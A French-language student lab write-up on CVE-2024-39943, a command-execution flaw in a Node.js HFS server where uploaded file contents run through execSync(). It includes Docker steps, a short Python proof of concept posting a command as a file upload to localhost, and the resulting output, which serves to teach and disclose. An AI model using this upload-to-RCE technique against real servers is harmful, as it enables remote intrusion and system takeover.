Vulnérabilité d'exécution de commandes Node.js HFS (CVE-2024-39943)

WhiteHat School 3e promotion – Jeongmin Roh (@JenmrR)

Résumé

Dans un environnement de serveur HFS basé sur Node.js, il existe une vulnérabilité qui exécute le contenu des fichiers téléversés via child_process.execSync().
Un attaquant peut exécuter directement des commandes OS via la fonctionnalité de téléversement de fichiers, consulter les résultats des commandes internes du serveur ou contrôler le système.
Cette vulnérabilité correspond à CVE-2024-39943 et présente une menace de même niveau que l'injection de commandes (Remote Code Execution).

Configuration et exécution de l'environnement

1. Exécution du serveur via l'environnement Docker
2. Le serveur reçoit les téléversements de fichiers sur le chemin /upload et exécute le contenu du fichier téléversé directement comme commande
3. L'attaquant peut réaliser une RCE via le téléversement

Flux d'exécution

$ sudo docker-compose up --build -d

$ python3 poc.py

poc.py

import requests

payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }

r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)

Résultat

Réponse du serveur après exécution du PoC :

Executed:
Hello_From_Hacked_Server

Conclusion

• Cette vulnérabilité est une faille RCE (Remote Command Execution) typique, qui survient lorsque des entrées externes sont exécutées comme commandes OS.
• Exécuter directement le contenu des fichiers téléversés avec execSync() présente un risque de sécurité critique.
• Les entrées utilisateur doivent toujours être validées et ne doivent jamais être exécutées directement au sein du serveur.